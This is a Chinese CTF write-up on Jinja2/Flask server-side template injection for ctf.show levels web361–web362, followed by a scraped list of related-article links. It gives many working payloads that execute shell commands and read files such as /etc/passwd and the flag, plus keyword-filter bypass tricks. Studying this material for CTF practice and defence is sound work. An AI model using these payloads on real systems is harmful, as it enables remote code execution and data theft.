web361

SSTI原理

SSTi学习

SSTI沙盒逃逸

网址输入“{undefined{7+7}}”页面显示14,说面存在“SSTI” :

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

基础知识

常用方法

__class__           查看对象所在的类
__mro__             查看继承关系和调用顺序,返回元组
__base__            返回基类
__bases__           返回基类元组
__subclasses__()    返回子类列表
__init__            调用初始化函数,可以用来跳到__globals__
__globals__         返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__        返回内建内建名称空间字典
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx())     都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app          应用上下文,一个全局变量
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1      get传参
request.values.x1    所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1      post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post传参 (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

过滤器

int()        将值转换为int类型;float()       将值转换为float类型;lower()     将字符串转换为小写;upper()        将字符串转换为大写;title()        把值中的每个单词的首字母都转成大写;capitalize()   把变量值的首字母转成大写,其余字母转小写;trim()       截取字符串前面和后面的空白字符;wordcount()  计算一个长字符串中单词的个数;reverse() 字符串反转;replace(value,old,new) 替换将old替换为new的字符串;truncate(value,length=255,killwords=False)    截取length长度的字符串;striptags()   删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;escape()或e   转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。safe()     禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};list()     将变量列成列表;string() 将变量转换成字符串;join()     将一个序列中的参数值拼接成字符串。示例看上面payload;abs()      返回一个数值的绝对值;first()       返回一个序列的第一个元素;last()      返回一个序列的最后一个元素;format(value,arags,*kwargs)    格式化字符串。比如:{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!length()  返回一个序列或者字典的长度;sum()      返回列表内数值的和;sort()     返回排序后的列表;default(value,default_value,boolean=false) 如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。length()  返回字符串的长度,别名是count

利用链

python2、python3 通用 payload(因为每个环境使用的python库不同 所以类的排序有差异)

直接使用 popen(python2不行)

os._wrap_close 类里有popen"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用 os 下的 popen

含有 os 的基类都可以,如 linecache"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os(python2不行)

可以使用 __import__ 的 os"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

__builtins__下的多个函数

__builtins__下有eval,__import__等的函数,可以利用此来执行命令"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

利用 python2 的 file 类读取文件

在 python3 中 file 类被删除# 读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
# 写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
# python2的str类型不直接从属于属于基类,所以要两次 .__bases__

flask内置函数

Flask内置函数和内置对象可以通过{{self.__dict__._TemplateReference__context.keys()}}查看,然后可以查看一下这几个东西的类型,类可以通过__init__方法跳到os,函数直接用__globals__方法跳到os。(payload一下子就简洁了){{self.__dict__._TemplateReference__context.keys()}}
#查看内置函数
#函数:lipsum、url_for、get_flashed_messages
#类:cycler、joiner、namespace、config、request、session
{{lipsum.__globals__.os.popen('ls').read()}}
#函数
{{cycler.__init__.__globals__.os.popen('ls').read()}}
#类
如果要查config但是过滤了config直接用self.__dict__就能找到里面的config

通用 getshell

原理就是找到含有 __builtins__ 的类,然后利用{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

注入思路

1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class 'object'>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数

payload解释

关于python魔术方法payload:"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 的解释
# 获得一个字符串实例
>>> ""
''# 获得字符串的type实例
>>> "".__class__
<type 'str'># 获得其父类
>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)# 获得父类中的object类
>>> "".__class__.__mro__[2]
<type 'object'># 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320># 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40] mappingproxy
<type 'file'># 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0># 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0># 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged
User:/var/empty:/usr/bin/false
root:*:0:0:System
Administrator:/var/root:/bin/sh

[关于python魔术方法payload:"".class.mro[2].subclasses()[40]("/etc/passwd").read() 的解释]: https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/

写一个python脚本带入执行查找flag

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数{% if 'eval' in b.keys() %}    //找到了{{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令

题目

参数呢???

小小fuzz一下

找到个name参数,发现一个xss

不玩了,测试一下ssti

发现存在模板注入

获得字符串的type实例
?name={{"".__class__}}

获得其父类
?name={{"".__class__.__mro__}}

获得父类中的object类
?name={{"".__class__.__mro__[1]}}

获得object类的子类,但发现这个__subclasses__属性是个方法
?name={{"".__class__.__mro__[1].__subclasses__}}

使用__subclasses__()方法,获得object类的子类
?name={{"".__class__.__mro__[1].__subclasses__()}}

提供 os._wrap_close 中的 popen 函数
?name={{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac ../flag').read()}}
# 这种方法的缺点在于需要找到 类 的索引

来个脚本

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数{% if 'eval' in b.keys() %}    //找到了{{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令

用的时候可以把注释去掉

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}         {% if 'eval' in b.keys() %}    {{ b['eval']('__import__("os").popen("ls /").read()') }} {% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}         {% if 'eval' in b.keys() %}    {{ b['eval']('__import__("os").popen("cat /flag").read()') }} {% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

另外的方法

也可以直接用 lipsum 和 cycler 执行命令

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

或者用控制块去直接执行命令

?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%}

web362

ssti模板注入绕过

语法

  • {%%}可以用来声明变量,当然也可以用于循环语句和条件语句
  • {undefined{}}用于将表达式打印到模板输出
  • {##}表示未包含在模板输出中的注释
  • ##可以有和{%%}相同的效果

变量

除了使用标准的python .(点)之外,还可以使用中括号来访问变量的属性.

{{"".__class__}}
{{""['__class__']}}

所以过滤了. 我们还可以使用中括号绕过个.如果想调用字典中的键值,其实本质上是调用了魔术方法__getitem__ 所以对于取字典中键值的情况不仅可以使用[],也可以使用__getitm__,当然对于字典来说,我们也可以用他自带的一些方法了.pop就是其中的一个

pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

那么调用对象的方法具体是什么原理呢,其实他调用了魔术方法_getattribute_

"".__class__
"".__getattribute__("__class__")

如果题目过滤了class或者一些关键字,我们就可以通过字符串处理进行拼接了

  1. 拼接

    "cla"+"ss"
    
  2. 反转

    "__ssalc__"[::-1]
    

    在jinjia2里面,“cla”"ss"是等同于"class"的

    ""["__cla""ss__"]
    "".__getattribute__("__cla""ss__")
    ""["__ssalc__"][::-1]
    "".__getattribute__("__ssalc__"[::-1])
    
  3. ascii转换

    "{0:c}".format(97)='a'
    "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
    
  4. 编码绕过

    "__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
    对于python2的话,还可以利用base64进行绕过
    "__class__"==("X19jbGFzc19f").decode("base64")
    
  5. 利用chr函数

    我们没有办法直接使用chr函数,因此需要通过__builtins__找到它

    {% set chr=url_for.__globals__['__builtins__'].chr %}
    {{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
    
  6. 在jinja2里面可以利用~进行拼接

    {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
    
  7. 大小写转换

    ""["__CLASS__".lower()]
    

过滤器

  1. attr

    attr用于获取变量

    ""|attr("__class__")
    相当于
    "".__class__
    

    这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况

  2. format

    { "%s, %s!"|format(greeting, name) }}
    

    那么我们想要调用__class__就可以用format了

    "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
    ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
    
  3. first last random

    Return the first item of a sequence.
    Return the last item of a sequence.
    Return a random item from the sequence.
    

    random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的

    "".__class__.__mro__|last()
    相当于
    "".__class__.__mro__[-1]
    
  4. join

    多了一种字符串拼接的方法

    ""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
    相当于
    ""["__class__"]
    
  5. lower

    ""["__CLASS__"|lower]
    
  6. replace reverse

    我们可以利用替换和反转还原回我们要用的字符串了

    "__claee__"|replace("ee","ss") 构造出字符串 "__class__"
    "__ssalc__"|reverse 构造出 "__class__"
    
  7. string

    功能类似于python内置函数 str有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

    ().__class__   出来的是<class 'tuple'>
    (().__class__|string)[0] 出来的是<
    
  8. select unique

    我们和上面的结合就会发现他们巨大的用处

    ()|select|string
    结果如下
    <generator object select_or_reject at 0x0000022717FF33C0>这样我们会拥有比前面更多的字符来用于拼接
    (()|select|string)[24]~
    (()|select|string)[24]~
    (()|select|string)[15]~
    (()|select|string)[20]~
    (()|select|string)[6]~
    (()|select|string)[18]~
    (()|select|string)[18]~
    (()|select|string)[24]~
    (()|select|string)[24]得到字符串"__class__"
    
  9. list

    转换成列表更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
    只是单纯的字符串的话取单个字符方法有限

    (()|select|string)[0]
    如果中括号被过滤了,挺难的
    但是列表的话就可以用pop取下标了
    当然都可以使用__getitem__(()|select|string|list).pop(0)
    

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

存在模板注入,上面语句之间拿来试试

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}         {% if 'eval' in b.keys() %}    {{ b['eval']('__import__("os").popen("ls /").read()') }} {% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

过滤了啥

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}         {% if 'eval' in b.keys() %}    {{ b['eval']('__import__("os").popen("cat /flag").read()') }} {% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

骗我

SSTI原理以及ctf.show的SSTI(web361-web362)相关推荐

  1. android 克隆攻击原理,通过CTF学习Android漏洞(炸弹引爆+dex修复)2015 RCTF / 攻防世界高手区 where...

    0x00 说明 刷android ctf题,感觉涉及的点不错,分享一下做题过程. 题目: 2015 RCTF / 攻防世界高手区 where 描述(提示): Where is the flag.(Th ...

  2. SSTI了解+反序列化了解+SSRF了解+之前的一些题

    文章目录 SSTI简介 web361 web362 SSTI 命令执行的一些总结 反序列化: SSRF [vnctf2022]Strange flag simple_js [buuctf]MISC S ...

  3. SSTI/沙盒逃逸详细总结

    一 flask 1 .基本用法 >>> [].__class__.__base__ <class 'object'> >>> [].__class__. ...

  4. flask SSTI漏洞

    文章目录 第一章 Flask ssti漏洞的代码(长什么样子) 1.1 代码 1.2 正常测试 1.3 利用漏洞测试 1.3.1 获取字典中的密钥 1.3.2 获取整个person 字典中的内容 1. ...

  5. 白头搔更短,SSTI惹人心!

    前言 为什么说Java审计南在SSTI呢? 现行SSTI(Server-Side Template Injection ) 资料不少,但与Java,以著名的先知社区为例(如下图所示),关于SSTI文章 ...

  6. CTFSHOW SSTI篇

    文章目录 web361 web362 web363 web364 web365 web366.367 web368 web369 web370 web371 web372 跟大佬交换了思路学到了可以用 ...

  7. python 字节流分段_一文掌握CTF中Python全部考点

    声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 前 言 一次偶然的机会,让自己 ...

  8. 2023级安全岗面试题及面试经验分享

    写在前面 个人强烈感觉面试因人而异,对于简历上有具体项目经历的同学,个人感觉面试官会着重让你介绍自己的项目,包括但不限于介绍一次真实攻防/渗透/挖洞/CTF/代码审计的经历 => 因此对于自己的 ...

  9. 【网络安全面经】2023届网络安全岗秋招面试题及面试经验分享

    随着国家政策的扶持,网络安全行业也越来越为大众所熟知,相应的想要进入到网络安全行业的人也越来越多,为了更好地进行工作,除了学好网络安全知识外,还要应对企业的面试. 所以在这里我归总了一些网络安全方面的 ...

最新文章

  1. 回溯算法解决迷宫问题
  2. cef谷歌内核浏览器获取cookie值并保存
  3. 线段树专题-黑白棋盘 BZOJ-1453
  4. 移动前端—H5实现图片先压缩再上传
  5. python简单笔记
  6. SQL 在表中建立索引的作用
  7. 修改mysql数据引擎的方法- 提高数据库性能
  8. Android的CheckBox(多选框)
  9. 鸿蒙OpenHarmony hi3516开发板,标准系统实现智能门禁
  10. python屏幕录像专家_可以推荐一款电脑录屏软件吗?
  11. 实验吧CTF web刷题
  12. 线性代数 行列式 知识技巧思维导图 [21考研上岸之旅]
  13. 求Sn=a+aa+aaa+…+aa…aaa(有n个a)之值,其中a是一个数字,为2。 例如,n=5时=2+22+222+2222+22222,n由键盘输入。...
  14. Large-scale Video Classification with Convolutional Neural Networks
  15. 代理IP的直接转发与隧道转发
  16. mysql 幂函数_MySQL-函数
  17. STM32 USB组合设备HID+MIDI
  18. 深度学习系列(四):什么是稀疏编码
  19. sketch放入app组件_Sketch App 3中的基本图像编辑入门
  20. 新版Wireshark支持国密,国内网安一哥360在背后做了这么多事

热门文章

  1. 【计算机网络】计算机网络——概述篇
  2. 计算机课寻找马良,(电脑课教案.doc
  3. 研究生初试录取(课程设计)
  4. c语言源程序连接后生成,c语言源程序经过编译后,生成文件的后缀是什么?_后端开发...
  5. ABB机器人机械手DSQC328A DSQC509 3HAC5687-1 3HAC16831-1 DSQC540 3HAC14279-1 DSQC532B 3HAC023447-1/01
  6. html的访问路径,对路径的访问被拒绝
  7. JavaScript:实现EulersTotient欧拉方程算法(附完整源码)
  8. 根本停不下来其一!通过打游戏来学习Ruby语言 -- Ruby Warrior -- 初级篇
  9. 【id:56】【20分】A. 距离计算(友元函数)
  10. 计算机主机开机滴滴叫,电脑开机滴滴滴响三声是什么原因 电脑开机滴滴滴响三声原因【图文】...